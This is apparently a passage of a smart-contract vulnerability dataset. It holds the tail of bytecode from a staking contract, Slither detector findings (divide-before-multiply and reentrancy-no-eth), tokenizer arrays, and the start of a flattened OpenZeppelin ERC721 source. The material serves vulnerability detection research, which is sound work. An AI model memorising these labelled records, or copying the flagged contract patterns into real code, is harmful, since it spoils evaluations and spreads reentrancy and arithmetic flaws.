60e51b815260040180806020018281038252602a81526020018061167b602a913960400191505060405180910390fd5b600061085861106f565b600b55610863610d16565b600a556001600160a01b038116156108aa5761087e81610490565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b60075442106108cf576009546108c790839063ffffffff6111c916565b60085561091e565b6007546000906108e5904263ffffffff61110c16565b905060006108fe6008548361116990919063ffffffff16565b60095490915061091890610508868463ffffffff61123316565b60085550505b600554604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561096e57600080fd5b505afa158015610982573d6000803e3d6000fd5b505050506040513d602081101561099857600080fd5b50516009549091506109b190829063ffffffff6111c916565b6008541115610a07576040805162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f20686967680000000000000000604482015290519081900360640190fd5b42600a819055600954610a20919063ffffffff61123316565b6007556040805184815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1505050565b600380546001019081905533610a6f61106f565b600b55610a7a610d16565b600a556001600160a01b03811615610ac157610a9581610490565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b336000908152600d60205260409020548015610b4157336000818152600d6020526040812055600554610b0a916101009091046001600160a01b0316908363ffffffff6112d616565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b5050600354811461060b576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002546001600160a01b031681565b6001546001600160a01b031681565b610bbf61128d565b6000610bc961106f565b600b55610bd4610d16565b600a556001600160a01b03811615610c1b57610bef81610490565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b50600755565b60055460ff1681565b6001600160a01b03166000908152600f602052604090205490565b6006546001600160a01b031681565b6001546001600160a01b03163314610c9d5760405162461bcd60e51b81526004018080602001828103825260358152602001806115ba6035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b60085481565b60006106584260075461132d565b610d2c61128d565b6006546001600160a01b0383811691161415610d795760405162461bcd60e51b81526004018080602001828103825260218152602001806116cf6021913960400191505060405180910390fd5b600054610d99906001600160a01b0384811691168363ffffffff6112d616565b604080516001600160a01b03841681526020810183905281517f8c1256b8896378cd5044f80c202f9772b9d77dc85c8a6eb51967210b09bfaa28929181900390910190a15050565b600c6020526000908152604090205481565b6000546001600160a01b031681565b60045481565b600380546001019081905560055460ff1615610e555760405162461bcd60e51b815260040180806020018281038252603c81526020018061163f603c913960400191505060405180910390fd5b33610e5e61106f565b600b55610e69610d16565b600a556001600160a01b03811615610eb057610e8481610490565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b60008311610ef6576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b600e54610f09908463ffffffff61123316565b600e55336000908152600f6020526040902054610f2c908463ffffffff61123316565b336000818152600f6020526040902091909155600654610f59916001600160a01b03909116903086611343565b60408051848152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25060035481146107fb576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600a5481565b610ff461128d565b60075442116110345760405162461bcd60e51b81526004018080602001828103825260588152602001806115626058913960600191505060405180910390fd5b60098190556040805182815290517ffb46ca5a5e06d4540d6387b930a7c978bce0db5f449ec6b3f5d07c6e1d44f2d39181900360200190a150565b6000600e54600014156110855750600b54610612565b6106586110ba600e54610508670de0b6b3a76400006110ae6008546110ae600a546104d7610d16565b9063ffffffff61116916565b600b549063ffffffff61123316565b60055461010090046001600160a01b031681565b600b5481565b336000908152600f60205260409020546110fc9061065d565b611104610a5b565b565b60075481565b600082821115611163576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008261117857506000610520565b8282028284828161118557fe5b04146111c25760405162461bcd60e51b815260040180806020018281038252602181526020018061161e6021913960400191505060405180910390fd5b9392505050565b600080821161121f576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b600082848161122a57fe5b04949350505050565b6000828201838110156111c2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000546001600160a01b031633146111045760405162461bcd60e51b815260040180806020018281038252602f8152602001806115ef602f913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526113289084906113a3565b505050565b600081831061133c57816111c2565b5090919050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261139d9085906113a3565b50505050565b6113b5826001600160a01b031661155b565b611406576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106114445780518252601f199092019160209182019101611425565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146114a6576040519150601f19603f3d011682016040523d82523d6000602084013e6114ab565b606091505b509150915081611502576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561139d5780806020019051602081101561151e57600080fd5b505161139d5760405162461bcd60e51b815260040180806020018281038252602a8152602001806116a5602a913960400191505060405180910390fd5b3b15159056fe50726576696f7573207265776172647320706572696f64206d75737420626520636f6d706c657465206265666f7265206368616e67696e6720746865206475726174696f6e20666f7220746865206e657720706572696f64596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775468697320616374696f6e2063616e6e6f7420626520706572666f726d6564207768696c652074686520636f6e74726163742069732070617573656443616c6c6572206973206e6f742052657761726473446973747269627574696f6e20636f6e74726163745361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656443616e6e6f7420776974686472617720746865207374616b696e6720746f6b656ea265627a7a72315820f62bd57a884a289dfc841db7fb5f704afc4076dc0f07574f9a8cb188c01d3cd264736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 3401, 2063, 2683, 5243, 2063, 2692, 8586, 2575, 2094, 2692, 19317, 2620, 9818, 2620, 2620, 12879, 11057, 6679, 5243, 2497, 2549, 3540, 4215, 19797, 2683, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1014, 1012, 1021, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1011, 1016, 1012, 1017, 1012, 1014, 1013, 8311, 1013, 8785, 1013, 8785, 1012, 14017, 1030, 1058, 2475, 1012, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3115, 8785, 16548, 4394, 1999, 1996, 5024, 3012, 2653, 1012, 1008, 1013, 3075, 8785, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2922, 1997, 2048, 3616, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,155
0x964D4703B33D8dc4eF53E9EE9494900DAcE03C77
// SPDX-License-Identifier: MIT /** ScacContract */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, 